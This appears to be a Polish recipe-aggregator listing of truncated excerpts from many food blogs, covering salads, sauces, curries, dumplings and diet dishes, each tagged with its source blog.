także przygotować na bazie jogurtu czy mleka. Na blogu znajdziecie też inne przepisy diety dr Dąbrowskiej: leczo wegańskie sałatka z kapusty pekińskiej z kiszonym ogórkiem kalafior w pikantnym sosie pomidorowym frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem sok z kiszonych buraków   Zielony koktajl z kiwi

Kulinarne przygody Gatity
Placki z warzyw korzeniowych 148

jeszcze jedno jajko. Powinna mieć dość zwięzłą konsystencję. Na patelni rozgrzewamy olej i smażymy niewielkie placki aż będą rumiane. Gotowe odsączamy z nadmiaru oleju na ręczniku papierowym. Podajemy z sosem koperkowym lub czosnkowym. Smacznego

Życie ze smakiem
Sałatka z roszponką, tuńczykiem i jogurtem 196

Sprawdzi się w menu osób dbających o sylwetkę ale też jako dodatek do dania mięsnego. Składniki: (na dwie porcje) 200g roszponki 6-8 dużych rzodkiewek puszka (150g) tuńczyka w sosie własnym czerwona cebula 4-5 łyżek jogurtu naturalnego greckiego sól, czosnek granulowany, tymianek, oregano, natka pietruszki suszona sezam do posypania Sposób przygotowania: Roszponkę i rzodkiewkę myjemy i pozostawiamy do odsączenia

Pyry na Gaz
Dyniowo-serowa lasagne 143

dań z tego warzywa nie jesteście specjalnie przekonani, to gorąco polecam Wam ten przepis. Słodycz dyni jest subtelnie podkreślona, a w kontraście ze słonym serem i lekko pikantnym dyniowym sosem- wszystko komponuje się ze sobą cudownie. Zapewniam! Czytaj więcej

Pichceniomania
Zawijaski z tortilli z szynką i dodatkami 286

tortilla szybka konserwowa sałata lodowa papryka czerwona ser żółty Na tortillę układamy sałatę lodową, szynkę, ser żółty, pokrojoną w paski paprykę czerwoną, zawijamy ciasno. Kroimy w plastry. Podajemy z sosem czosnkowym (majonez, jogurt naturalny, czosnek, sól, pieprz, rozgnieciony ząbek czosnku)   Artykuł Zawijaski z tortilli z szynką i dodatkami pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Parówa w cieście z cheddarem 128

równe części, układam w naczyniu do zapiekania. Gdy już całe naczynie jest wypełnione posypuję startym cheddarem. Piekę w piekarniku nagrzanym do 180 stopni przez 20 minut. Można podać z sosem czosnkowym: majonez, jogurt naturalny, sól, pieprz, rozmiażdżony ząbek czosnku.   Artykuł Parówa w cieście z cheddarem pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Curry kalafiorowe. 222

miękkości. Dodać pomidory i resztę przypraw. Dusić pod przykryciem około 15 minut. W tym czasie podzielić kalafior na różyczki i zalać osolonym wrzątkiem. Następnie odcedzić i dodać do sosu. Dusić pod przykryciem na małym ogniu, aż kalafior stanie się miękki, ale wciąż jędrny. Podawać z dużą ilością natki kolendry lub pietruszki

zadanie-gotowanie
Sos czosnkowy do pizzy i "Wieczór taki jak ten" 199

mojej rodzinie dla niektórych pizza bez sosu czosnkowego nie istnieje. Nie kupuję tego gotowego, bo - niezależnie od firmy - zawodzi swoim smakiem. Zdecydowanie wolę zrobić własnymi rękoma, bo wiem przynajmniej, jaki czosnek się w nim znajdzie. Składniki : czubata łyżka majonezu czubata łyżka gęstego jogurtu naturalnego 3-4 ząbki polskiego czosnku szczypta soli Czosnek obrać i przecisnąć przez praskę. Czosnek wymieszać

Weekendy w domu i ogrodzie
Pieczone skrzydełka 176

Składniki 15 skrzydełek z kurczaka 8 ząbków czosnku ciemny sos sojowy, maggi sól, pieprz ostra i słodka papryka Przygotowanie Mięso skropić olejem i porządnie przyprawić, odstawić na kilka godzin. Następnie włożyć w papier do pieczenia dodać czosnek i piec ok 50-60 min w 160 st C. Na końcu rozciąć papier, skrzydełka posmarować wodą z solą i znów

Gaździnka warzy
PIECZONY ROSTBEF NA CHRUPIĄCEJ GRZANCE Z AWOKADO I WARZYWAMI 179

domowników gust. Trafia na listę ulubionych i z całą pewnością jeszcze nie raz zagości na stole. W weekend planuję obiad dla rodziny: pieczona polędwicę wołową z ciemnym, aromatycznym sosem, pieczonymi ziemniakami i szparagami. Myślę, że będzie się świetnie komponować

Ostra na Słodko
Marchew miodowo kokosowa. 133

marchewka będzie prawie miękka ( około 7min) Następnie do marchewki dodajemy olej kokosowy i miód. Posypujemy solą i świeżo zmielonym pieprzem. Gotujemy na małym ogniu jeszcze kilka minut, aż sos lekko się skarmelizuje.  Jemy na ciepło. Możemy posypać ulubionymi ziołami. Smacznego

Radość kipiąca uśmiechem.
Kurczak curry + film 153

rozpuszczamy ją w niewielkiej ilości zimnej wody dokładnie mieszając ( tak żeby nie było grudek). Gotową zawiesiną zagęszczamy nasze danie, dokładnie mieszamy i gotujemy jeszcze 2-3 minuty aż sos zgęstnieje.   Artykuł Kurczak curry + film pochodzi z serwisu Smakowite Dania

Smakowite Dania
Stek wołowy w marynacie Tex-Mex– meksykański talerz 240

błagam, byle nie frytki! SKŁADNIKI na 2 porcje 1 gruby stek z rostbefu lub antrykotu (2,5-3cm) o wadze 400-500g albo łata wołowa 2 łyżki sosu Worcester 2 łyżki soku z limonki 2 łyżki oliwy z oliwek 2 ząbki czosnku dwukrotnie przeciśnięte przez praskę 1 łyżeczka wędzonej papryki 1 pełna łyżeczka mielonego kuminu 1 niepełna łyżeczka

Karo in the Kitchen
Sałatka z bulguru ze świeżymi warzywami 197

cebule kroimy w piórka, a ogórek w  drobna kostkę. Z papryki usuwamy gniazdko nasienne i nasionka, również kroimy w drobna kostkę. Wszystko, wraz z bulgurem, natką  i sosem mieszamy w dużej misce, na koniec dodajemy pokrojona w kostkę fetę. Duża miskę lub salaterkę wykładamy  pociętymi w paseczki liśćmi sałat, na sałacie kładziemy sałatkę

Kulinarne przygody Gatity
Frytki z dyni piżmowej (dieta dr Dąbrowskiej) 248

daję więc do nich sporo różnych przypraw. Rewelacja! Na blogu znajdziecie też inne przepisy diety dr Dąbrowskiej: leczo wegańskie sałatka z kapusty pekińskiej z kiszonym ogórkiem kalafior w pikantnym sosie pomidorowym wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem sok z kiszonych buraków   zielony koktajl z grejpfrutem Frytki z dyni

Kulinarne przygody Gatity
Surówka z marchewką i jabłkiem 308

będę dzielić się z Wami przepisami na pyszne surówki – w planach mam już kolejne, pyszne. Surówkę z marchewką i jabłkiem możecie serwować do kotletów z kurczaka, karkówki w sosie własnym czy gulaszu z jelenia – w zależności od Waszych potrzeb oraz upodobań smakowych Zobacz też: Sałatka jarzynowa z warzyw z rosołu Sałatka wiosenna z ogórkiem, rzodkiewką i jajkami przepiórczymi

Kuchnia Bazylii
Medaliony z indyka. 234

kulinarny , który pełen jest smakowitych przepisów i sposobów na nieco inną kuchnię niż moja. Niemniej jednak nie byłabym sobą, gdybym nie pozmieniała czegoś na własną modłę ;) Medaliony podałam z sosem koperkowym, ale myślę, że pieczarkowy, czy grzybowy, równie dobrze się tu sprawdzi. Bardzo polecam! Składniki na medaliony w indyka: 500 g mięsa z udźca indyka zmielonego na grubych oczkach

Rozpustne gotowanie
Quinoa z boczkiem i pieczarkami 184

następnie dorzucamy obrane i pokrojone na kawałki pieczarki. Gdy przesmażymy je trochę z boczkiem i cebulą, zalewamy wszystko mlekiem kokosowym i dusimy pod przykryciem, aż pieczarki zmiękną wystarczająco, a sos się zredukuje. Doprawiamy solą i pieprzem na koniec dodajemy posiekany koperek, mieszamy i podajemy razem z quinoą. Smacznego

Quinoa Raz!
Kurczak Dak Bulgogi z surówką i ryżem 151

niesamowicie apetycznego bloga Facet z przepisem . Gorąco polecamy. Troszkę dodatki po swojemu zrobiliśmy, ale wyszło niesamowicie pysznie. Składniki 500-600 g filetów z kurczaka Marynata : 3 łyżki jasnego sosu sojowego 1 łyżka soku z limonki 1 łyżka cukru palmowego (lub trzcinowego) 1 łyżka miodu 1 łyżka octu ryżowego 2 ząbki czosnku przeciśniętego przez praskę 1 łyżka świeżego startego imbiru

R'n'G Kitchen
SPRAWDZONE PRZEPISY NA DOMÓWKĘ ZE ZNAJOMYMI! 225

LEPKIE PALCE" Jeśli chciałabyś zaskoczyć swoich gości nietypowym podaniem dania to polecam Ci ten przepis! wygląda fenomenalnie, też tak smakuje, a robi się go tak bardzo szybko! KURCZAK W SOSIE CURRY Z ANANASEM

SMYKWKUCHNI
Porowo - ziemniaczane risotto 174

kiedy poprzednia zostanie wchłonięta. Ostatnim etapem jest wsypanie do risotto parmezanu i gotowanie całości około 30 s. Ziemniaki muszą być na koniec miękkie, a ryż sprężysty, otoczony gęstym jasnym sosem.  Podajemy posypane świeżym koperkiem.  Wioleta Gargula

MamaOskarka
Placek drwala 195

mąki pszennej i dokładnie wymieszać. Pod koniec gotowania, gdy mięso będzie już miękkie, dodać koncentrat pomidorowy oraz rozrobioną w zimnej wodzie mąkę. Gotować na małym ogniu, często mieszając, aż sos zgęstnieje. Gulasz przyprawić solą i pieprzem do smaku. PLACKI ZIEMNIACZANE: Ziemniaki obrać, umyć, osuszyć, zetrzeć na tarce o małych oczkach (na tzw. drobne wiórki). Cebulę obrać, zetrzeć na tarce

Gospodyni Miejska
CEBULOWE KRĄŻKI W CIEŚCIE 146

talerzyk wysypujemy mąkę. Panierujemy w niej każdy krążek cebuli, następnie maczamy w cieście, kładziemy na rozgrzany olej, smażymy na rumiano. Po usmażeniu osączamy z nadmiaru tłuszczu. Podajemy z ulubionymi sosami

Z Majeczką w kuchni
Jajka zapiekane z chorizo 137

czosnek i pół łyżeczki mielonej papryki, smażyć jeszcze pół minuty, uważając aby czosnek się nie spalił.  Dodać pokrojone chorizo, przesmażyć całość, wlać pomidory i doprawić.  Tak przygotowany sos przełożyć do naczynia do zapiekania, zrobić w nim dwa wgłębienia, w które wbić jajka. Delikatnie je posolić. Wstawić naczynie do nagrzanego piekarnika i zapiekać około 10-15 min., aż białko

wyzwania kuchenne
Surówka - pekinka, por, seler 196

być kłopotu ze zjedzeniem tej zdrowej surówki. Do tego śmietana i przyprawy do smaku i mamy super smaczną surówkę obiadową. Najlepiej smakuje w daniu mięsnym typu sztuka mięsa w sosie czy klopsikami lub z kotletami mielonymi czy schabowymi. Jednym słowem pasuje do wielu propozycji. Rozwiń i czytaj przepis

Ewa w kuchni
Sałatka grecka 268

wierzchu sałatki *** *** Sałatkę polewamy oliwą z oliwek zmieszaną z sokiem z cytryny oraz (opcjonalnie) z mielonym pieprzem i suszoną bazylią *** *** SMACZNEGO *** POLECAM TAKŻE: KOLOROWA SAŁATKA Z MOZZARELLĄ I PYSZNYM SOSEM PRZEPIS TUTAJ SAŁATKA NICEJSKA Z WĘDZONYM ŁOSOSIEM PRZEPIS TUTAJ NAJLEPSZE PRZEPISY NA SAŁATKI KLIKNIJ TUTAJ Artykuł Sałatka grecka pochodzi z serwisu Blog z apetytem

Blog z Apetytem
Polędwiczki w sosie pieczarkowym 159

posiekaną cebulę, oczyszczone i pokrojone na mniejsze kawałki pieczarki, zrumieniamy, dodajemy mięso i zalewamy bulionem. Dodajemy liście laurowe i ziele angielskie, dusimy 20 min. Śmietanę rozrabiamy z mąką, hartujemy sosem z pieczenia, dokładnie mieszamy. Następnie dodajemy do całości, dusimy do pożądanej konsystencji. Do smaku doprawiamy solą i pieprzem

R'n'G Kitchen
Świderki z kurczakiem w sosie grzybowo-serowym 160

prawda sezon na grzyby już dawno za nami, ale to dobry czas by wyjąć z zamrażarek i słoików zgromadzone zapasy:). Do sosu dodałam intensywny w smaku ser cheddar, który dodatkowo podkręcił smak dania. Pycha! 200g makaronu świderki 300g podgrzybków, mogą być mrożone  1 cebula 1/2 pęczka natki pietruszki 200 ml śmietany 18% 100g sera cheddar  2 ząbki czosnku

Szefowa kuchni
Siekane placuszki z kurczaka 158

moim domu na pierwszym miejscu zawsze były standardowe placki ziemniaczane podawane z gulaszem. Potem przyszła kolej na coś lżejszego, czyli placki z kalafiora , które wraz z sosem koperkowym lub czosnkowym goszczą na moim stole latem. Kolejną propozycją na danie tego typu są siekane placuszki z kurczaka, sera żółtego i pieczarek. Mięciutkie, dobrze doprawione i po prostu rozpływające się w ustach

Życie ze smakiem
Kurczak na ostro z ananasem i makaronem ryżowym 247

ząbki czosnku lub 1 łyżeczka czosnku w proszku 1 łyżka soku z cytryny 1 łyżka imbiru w proszku ananas – marynata: 5 plastrów ananasa z puszki 2 łyżki sosu sojowego 1 łyżka płynnego miodu 2 łyżeczki cukru trzcinowego 2 łyżki octu ryżowego sok z 1/2 cytryny a także: 2 łyżki oleju roślinnego 3 gałązki szczypiorku Przygotowanie Kurczaka pokroić na kostkę

Oka w rosole czyli KaFka gotuje
Zimowa sałatka z czerwoną kapustą 183

obieraczką do warzyw gruszka – obrana i pokrojona w cienkie paski obieraczką do warzyw marynata: łyżeczka miodu lub syropu klonowego 2 łyżki oleju rzepakowego 2 łyżki octu jabłkowego łyżka sosu sojowego pół łyżeczki oleju sezamowego świeżo zmielony czarny pieprz ząbek czosnku przetarty przez praskę pestki z połowy granatu do posypania garść orzechów nerkowca do posypania pół pęczka natki pietruszki

Ugotowane pozamiatane
Minipulpeciki w sosie własnym z kaszą jaglaną i kalafiorem 176

mieszamy z masłem klarownym. Wracajac do pulpecików. Do obsmażonych wlewamy bulion i zakrywamy patelnię. Gotujemy około 15 minut. Po tym czasie łyżeczkę mąki rozrabiamy w odrobinie wody i zagęszczamy sos. Doprawiamy w razie konieczności solą i pieprzem.  Podajemy całość posypaną świeżym koperkiem.  Wioleta Gargula

MamaOskarka
Zielony koktajl z grejpfrutem ( dieta dr. Dąbrowskiej) 267

dodatkiem miodu, żeby był słodszy. Na blogu znajdziecie też inne przepisy diety dr. Dąbrowskiej: leczo wegańskie według dr. Dąbrowskiej sałatka z kapusty pekińskiej z kiszonym ogórkiem kalafior w pikantnym sosie pomidorowym wegański bigos wegańskie burgery z kalafiora Zielony koktajl z grejpfrutem Czas przygotowania: 10 minut Składniki: 1 jabłko 1/2 grejpfruta 2 spore garści świeżego szpianku woda mineralna Wykonanie: Owoce bardzo

Kulinarne przygody Gatity
Zupa tajska z makaronem ryżowym 244

Jeżeli lubicie tajskie klimaty tak jak my to zapraszamy na pyszną, lekko pikantną zupę tajską z makaronem ryżowym :) Składniki na zupę tajską: – 1 filet z

Kuchenne Wariacje
Oszukana sałatka Waldorf 176

jednej z tych ciekawszych książek kucharskich rzuciła mi się w oczy sałatka z jabłkiem, ogórkiem i prostym sosem na bazie majonezu zwana sałatką Waldorf. Z racji tego, że jedynym wspólnym mianownikiem jest tutaj jabłko a cała reszta jest mocno oszukana- stąd nazwa. Nie zmienia to faktu, że sałatka była smaczna.  Składniki: sałata lodowa  jabłko  feta ogórek

Mango Papaja
Curry z kurczakiem, dynią i masłem orzechowym / Chicken, pumpkin and peanut butter curry 279

Dziś przedstawiam coś wyjątkowego, przepyszne curry z kurczakiem i dynią, w obłędnym sosie z mlekiem kokosowym, czerwoną pastą curry i masłem orzechowym. Jest to danie z tych ekspresowych, idealnych na szybki i pyszny obiad. Doskonała propozycja dla amatorów rozgrzewającej kuchni w stylu dalekowschodnim. Jeżeli lubisz tego typu dania zapoznaj się też z innymi moimi przepisami z tej dziedziny , wszystkie pyszne

karmelowy
Wegetariańskie kotlety z twarogiem 207

kleiste ciasto. Formujemy placuszki, nakładamy farsz i przykrywamy drugim plackiem.Tak uformowane kotlety smażymy na gorącym oleju. Na koniec odsączamy nadmiar tłuszczu ręcznikiem papierowym i gotowe! Możemy z podać z sosem np. koperkowym. Smacznego

Dominacja smaku
Pieczeń z sosem grzybowym 275

kromki czerstwego chleba 1/2 szklanki grzybów suszonych 1 cebula 4- ząbków czosnku sól, pieprz słodka papryka, zioła prowansalskie 1 łyżeczka kolendry 1 łyżeczka … Czytaj dalej Pieczeń z sosem grzybowym

czarrna od kuchni
Chrupiące nuggetsy z indyka pieczone w piekarniku 205

dobrze, że nuggetsom zrobiłam wcześniej. Oczywiście jeśli wolicie kurczaka to spokojnie możecie go użyć zamiast indyka. Na pewno posmakują dzieciom i nie tylko. Można dodać do nich sałatkę, ulubiony sos i gwarantuję, że zjecie ze smakiem :-) Miłego dzionka Wam życzę :-) Składniki: około 400 - 500 g filetu z indyka lub kurczaka 3 szklanki płatków kukurydzianych typu Cornflakes 1 jajko 3/4 szklanki

kruche babeczki
SURÓWKA Z KAPUSTY PEKIŃSKIEJ I MARCHEWKI 203

czasie obrać marchewkę i zetrzeć ją na tarce o dużych oczkach. Majonez wymieszać z jogurtem,solą,pieprzem oraz czosnkiem przeciśniętym przez praskę. Kapustę z marchewką wymieszać,dodać sos - wszystko dokładnie połączyć i odstawić do lodówki. Schłodzona surówka smakuje lepiej

Niespełnione zdolności kulinarne
Ryba zapiekana ze szpinakiem z sosem śmietanowym 204

sokiem z cytryny, oprószyć solą i gałką muszkatołową, ułożyć na szpinaku. Śmietanę zagotować z pozostałym masłem, rozprowadzić w niej powoli mąkę, doprawić estragonem, pieprzem oraz ewentualnie solą. Rybę zalać sosem śmietanowym. Piec pod przykryciem 35 minut w temp

Kuchenne aromaty
Chicken pot pie. Potrawka w kurczaka. 253

warzyw i aromatycznych przypraw, zapiekane pod kruchym, maślanym ciastem zaskoczyło moje kubki smakowe. Zdecydowanie na plus. Po przebiciu widelcem wierzchu, uderza nas bardzo przyjemny zapach, a maczanie ciasta w sosie to wartość dodatkowa :) Polecam. Składniki: Ciasto: 100 g zimnego masła 140 g mąki pszennej 2 łyżki kwaśnej śmietany (np. 18%) szczypta soli Nadzienie: 200 g filetu z piersi kurczaka

zadanie-gotowanie
Indyjskie kotlety ziemniaczane 380

nieszablonowe. Dobrze smakują na zimno, jak i na ciepło co jest istotne, gdy nie mamy miejsca do odgrzania. Możemy je podawać także jako obiad – wraz z dowolnym sosem curry. Z podanej porcji wychodzi ok. 16 sztuk. Są genialne w swojej prostocie. Indyjskie kotlety ziemniaczane: 1 kg ziemniaków (waga po obraniu) 1 jajko ¾ szklanki mrożonego groszku 2 łyżki mąki (skrobi

Poezja smaku
Przepis #108 Gofry w wersji wytrawnej (bez glutenu) 208

Wszystkie składniki łączymy w jednolitą masę. Gofrownicę rozgrzewamy następnie pieczemy w niej nasze gofry. Upieczone gofry zostawiamy do wystudzenia. Gofry można podać z odrobiną ketchupu lub domowej roboty sosem czosnkowym.   Smacznego

Health-Fit-Life
Makaron z bobem 151

przyprawy, wymieszać do dokładnego połączenia, wystudzić.  Dodać bób, wymieszać. Makaron przygotować według instrukcji na opakowaniu. Przed odcedzeniem z makaronu odlać 1/3 szklanki wody. Do ugotowanego, gorącego makaronu dodać sos i odmierzoną wodę z gotowania makaronu, wymieszać. Porcje przekładać na talerz, z wierzchu posypać parmezanem i udekorować natką pietruszki. SMACZNEGO

kulinarnyswiatdomi
PARÓWKI W CIEŚCIE FRANCUSKIM 241

Parówki w cieście francuskim to prosty i szybki sposób na przygotowanie dobrej przekąski czy kolacji. Doskonałe zarówno na ciepło jak i na zimno. Idealne z ketchupem, musztardą czy sosem czosnkowym. Warto mieć w lodówce awaryjnie ciasto francuskie. Bardzo często ratuje nas podczas nagłej wizyty gości zarówno w przygotowaniu na słodko jak i wytrawnej.  Przygotowanie parówek w tej formie wbrew

Zrób to smacznie
Wegańskie burgery z kalafiora (dieta dr. Dąbrowskiej) 194

piekarnika, żeby wypuścić nadmiar pary. Na blogu znajdziecie też inne przepisy diety dr. Dąbrowskiej: leczo wegańskie według dr. Dąbrowskiej sałatka z kapusty pekińskiej z kiszonym ogórkiem kalafior w pikantnym sosie pomidorowym wegański bigos Wegańskie burgery z kalafiora (dieta dr. Dąbrowskiej) Czas przygotowania: 1,5 godziny Składniki: 1 kalafior 2 duże marchewki 1 pietruszka 1 duża cebula 2 łyżka natki pietruszki

Kulinarne przygody Gatity
Zielone kopytka 212

ciasto będzie ładnie odchodziło od rąk. Następnie formujemy wałki i kroimy kopytka. Całość gotujemy w osolonej wodzie do momentu wypłynięcia kopytek na powierzchnie wody. Można tak ugotowane kopytka polać sosem gulaszowym z surówką ( ja tak podałam

Różne smaki w kuchni
Burger z czerwonej soczewicy i kaszy jaglanej 165

nagrzanego do 200 stopni piekarnika na 20 minut. 6. Po 20 minutach burgery przewracamy na drugą stronę i pieczemy jeszcze przez 10 minut. Do burgera dodałam ulubione dodatki oraz sos  tzatziki . Spróbujcie również burgerów z  batata i kaszy kuskus  lub burgerów z  dorsza . SMACZNEGO

Bez Cebuli
kaczka z jabłkami w winnym sosie 272

Zredukować, dodać soli do smaku. Czosnek wyjąć. Kaczkę, po maksimum 10 minutach wyjąć z piekarnika, położyć na desce, żeby odpoczęła, około 5 minut. Pokroić na grube plastry. Podawać z sosem winnym

stajnia gołębie od kuchni
"Grzybek", czyli placek ze skwarkami 175

chrupko. Gdy boczek będzie gotowy, zmnaijeszyć ogień i zalać go ciastem. Smażyć na małym lu srednim ogniu pod przykryciem aż się zetnie. Podawać na ciepło z ulubionymi sosami lub keczupem. Wartość energetyczna (1 porcja) Energia: 819,2 kcal Tłuszcz: 67,2g Białko: 17,9g Węglowodany: 37,2g Smacznego

Zielona Kuchnia
Szybka quesadilla z wołowiną / Easy beef quesadilla 377

sera, które z pewnością nasycą i zachwycą smakiem całą rodzinę. Jeżeli lubisz tego typu dania polecam także wersję z kurczakiem, szpinakiem i kozim serem i z kaczką w sosie bbq . Pyszny obiad w kilka chwil, polecam gorąco! Scroll down for recipe in English Szybka quesadilla z wołowiną (4 porcje) Składniki: 500 g mielonej wołowiny 1 cebula, pokrojona w kostkę

karmelowy
Jambalaya z kurczakiem i szynką wędzoną - pyszne danie jednogarnkowe 257

przecier pomidorowy, passatę, pokrojone papryki (żółtą i czerwoną), papryczkę chili. Całość doprawiamy solą i pieprzem. Po kilku minutach dodajemy selera naciowego i szynkę. Całość mieszamy. Gotujemy chwilę. 3. Jak sos się zagęści dodajemy posiekaną natkę pietruszki i tymianek. Doprawiamy solą i pieprzem jeśli trzeba. Danie gotowe :-) Smacznego

kruche babeczki
Wegański bigos (dieta dr. Dąbrowskiej) 256

opcjonalnie można wrzucić kilka sztuk. Na blogu znajdziecie też inne przepisy diety dr. Dąbrowskiej: leczo wegańskie według dr. Dąbrowskiej sałatka z kapusty pekińskiej z kiszonym ogórkiem kalafior w pikantnym sosie pomidorowym Wegański  bigos (dieta dr. Dąbrowskiej) Czas przygotowanie: 40 minut Składniki: 1/2 małej białej kapusty 1000 g kiszonej kapusty  1 duża cebula 1/2 jabłka 3-4 śliwki suszone

Kulinarne przygody Gatity
Jakie zioła warto uprawiać w domu? 277

które z łatwością możemy uprawiać we własnym domu. Jest chyba najpowszechniejszym ziołem używanym  w kuchni. Jej zapach jest zbliżony do gałki muszkatołowej. Stosujemy ją w wielu zupach i sosach, idealnie komponuję się z pomidorami i wszelkimi daniami kuchni śródziemnomorskiej. Dania mięsne, sałatki, nabiał, makarony, na pewno ma sporę pole do popisu. Musimy jednak wiedzieć że bazylia nie może być

Dominacja smaku
Najpopularniejsze przepisy 2017 roku 179

zdrowe dania główne, słodkości oraz sałatki. Oto dziesięć przepisów z minionego roku, które najbardziej przypadły do smaku czytelnikom. Zdrowe drożdżowe z pomarańczową nutą Sałatka z wędzonym kurczakiem, melonem i sosem serowo-szalotkowym Pęczotto z kurczakiem i szczypiorem z tymiankową nutą Zapiekana biała kapusta z ziemniakami, marchewką i koperkiem Domowe ogórki małosolne Sałatka z tuńczykiem i ryżem Sałatka ze świeżym szpinakiem

My Chcemy Jeść
DIETETYCZNE PANKEJKI! 207

bardzo smaczne i sycące. Ja podaje je z mrożonymi owocami, które po chwili nadają się do jedzenia. Oczywiście owoce możesz również podgrzać w rondelku i wtedy otrzymasz pyszny sos owocowy do placuszków. PRZEPIS NA FIT PANKEJKI - 4 łyżki mleka - 2 jajka rozmiar L - 1 łyżeczka mąki pszennej  - opcjonalnie: 1 łyżeczka odżywki białkowej - 100 g mrożonych owoców leśnych Białka ubij

SMYKWKUCHNI
Sałatka z pieczonymi burakami, rukolą i suszonymi pomidorami 184

cienkie paski. Pestki dyni prażymy do zrumienienia na patelni. Do małego słoika wlewamy oliwę, ocet, sok z cytryny, dodajemy rozdrobnione ząbki czosnku i musztardę, zamykamy i energicznie mieszamy. Sosem polewamy warzywa, doprawiamy solą i świeżo zmielonym pieprzem, mieszamy. Przed podaniem dodajemy pestki dyni

Kardamonovy
Bezglutenowe kluski półfrancuskie 402

się w kluseczkach francuskich!  Są banalnie proste w wykonaniu, szybkie i nie trzeba brudzić rąk. Do tego są miękkie, pulchne i smakowite.  Doskonale smakują z gulaszem czy sosem jak i z bułką tartą i masełkiem. Następnego dnia, podgrzane na patelni, nie tracą niczego ze smaku i struktury.  Polecam 😊 Składniki: 3 jaja 6 łyżek masła 150 ml wody

Ze smakiem bez glutenu
Ryba w sosie serowo-koperkowym 480

Rybę zazwyczaj jadamy pieczoną lub smażoną, zupełnie zapominając, że zrobiona w sosie jest równie smaczna!  300g filetów rybnych, u mnie dorsz 1 por 330g śmietany 18% 1 pęczek koperku  70g sera gorgonzola masło do smażenia sól, pieprz, papryka słodka 1. Rybę kroimy w większą kostkę. Por w krążki, koperek siekamy. 2. Na rozgrzanym maśle podsmażamy posoloną rybę

Szefowa kuchni
Nadziewany indyk 182

pieczenia grzbietem do dołu. Mięso smarujemy roztopionym masłem i wstawiamy do nagrzanego piekarnika (200 stopni). Gdy mięso się zarumieni, musimy skropić je delikatnie wodą, a następnie polewamy wytworzonym sosem. Na 30 minut przed końcem pieczenia kładziemy na mięsie gałązki rozmarynu i tymianku. Tak przygotowanego indyka możemy podawać z różnymi dodatkami. Artykuł Nadziewany indyk pochodzi z serwisu Przepisy kulinarne, przepisy

FoodMagazine.pl - Przepisy kulinarne
Domowe gnocchi 309

malutkie, sympatyczne kluseczki pochodzą z kuchni włoskiej. Są podobne do naszych kopytek. Możecie podać je z różnymi sosami- pomidorowym lub grzybowym, z bazyliowym pesto lub po prostu z masłem szałwiowym. Zachęcam! ;) Składniki: 1kg ziemniaków łyżka soli 100g mąki pół łyżeczki świeżo zmielonego pieprzu 1 roztrzepane jajko Ziemniaki myjemy i gotujemy w mundurkach. Po wystudzeniu obieramy ze skórki i rozcieramy praską

Czerwona Porzeczka
Surówka colesław z łodygi brokuła i marchewki 309

przypalić). Majonez utrzeć z octem w małej miseczce. Posiekać 2 łyżki natki pietruszki. W dużej misce wymieszać tartą marchewkę z puree z łodygi brokuła, prażonymi migdałami, natką pietruszki i sosem. Sprawdzić smak, po czym doprawić szczyptą soli i odrobiną świeżo mielonego pieprzu, jeśli potrzeba. W surówce użyłam majonezu light. Aby ją trochę odchudzić, można połowę majonezu zastąpić gęstym jogurtem naturalnym

Dietolog
Kurczak piri piri Jamiego Olivera 331

Składniki: ok. 1 kg mięsa z kurczaka, u mnie udka i filet 1 brokuł sól, pieprz sos piri piri: 1 czerwona cebula 4 ząbki czosnku 1-2 papryczki chili z pestkami … Czytaj dalej Kurczak piri piri Jamiego Olivera

czarrna od kuchni
Makaron Foglie d’ulivo ze szpinakiem, z kurczakiem i serkiem pleśniowym 285

się pod wpływem ciepła uwalniając pyszny ziołowy smak, aromat... Podoba się Wam moja propozycja? Podpowiem, że ten przepis i inne, również smaczne potrawy makaronowe znajdziecie w MENU: MAKARONY... KASZE... SOSY... Mam nadzieję, że wybierzecie coś dla siebie. A ja życzę SMACZNEGO! Krys Dziękuję za odwiedziny na moim blogu. Będzie mi miło, jeśli zostawisz komentarz

Kuchnia u Krysi
Kopytka 214

udanych kopytek są dobre ziemniaki - najlepiej białe i sypkie. Bo im mniej mąki dodamy do ciasta, tym nasze kopytka będą miększe i delikatniejsze. A do kopytek bardzo pasują wszelakie sosy :) Składniki: 500 g ziemniaków 100 g mąki pszennej 1 jajko sól Sposób przygotowania: 1. Ziemniaki obrać, umyć, ugotować w osolonej wodzie do miękkości. Po odcedzeniu gorące ziemniaki rozgnieść w prasce

Kuchnia domowa Ani
Tradycyjne zapiekanki 225

innym serem. Piec w nagrzanym piekarniku ok. 8-10 minut, aż ser się stopi a pieczywo będzie lekko chrupiące. Przed podaniem posypać szczypiorkiem oraz ketchupem lub ulubionym innym ulubionym sosem do zapiekanek.       Artykuł Tradycyjne zapiekanki pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Drożdżowe pampuchy z gulaszem 241

przez ok. 15-20 minut, aż mięso zacznie mięknąć. Po tym czasie dodać pokrojone w półplasterki pieczarki, dusić kolejne 15 minut (można dolać wodę jeśli bardzo wyparuje). Następnie doprawić sos solą, pieprzem, papryką i chilli. Można go również zagęścić mąką. Podusić jeszcze przez chwilę i zdjąć z gazu.   Wyrośnięte pampuchy parować przez 10 minut w parowarze lub w specjalnym

Simply Food
Pikantny kurczak w cieście kokosowym. 190

ulubieńca, czyli kokos. Większości osób, kokos kojarzy się z ciastami i deserami. A warto go użyć do potraw słonych, znakomicie komponuje się z pomidorami. Tak całymi jak i wszelakimi sosami z ich dodatkiem. Ciasto: szklanka wody gazowanej szklanka mąki 3 jajka 1/2 łyżeczka cukru 1/2 łyżeczki soli łyżeczka słodkiej papryki 1/3 łyżeczki czarnego pieprzu płaska łyżeczka proszku do pieczenia szklanka

Dieta moja pasja
Obiady w styczniu 162

Kasza gryczana z pieczarkami i czarnymi oliwkami z tymiankiem w occie balsamicznym Kasza gryczana z pieczarkami, rukolą i włoskimi orzechami Kasza gryczana ze szpinakiem, brokułami i ricottą Kurczak w sosie z kaszą jęczmienną Kuskus z cukinią, ciecierzycą i bakłażanem Makaron orzo z liśćmi szpinaku i serem feta Makaron ryżowy z pak choi Makaron soba z brokułami i cukinią Makaron

Moja smaczna kuchnia
Niedziela: Pieczone udka z kurczaka w zalewie pomarańczowej 158

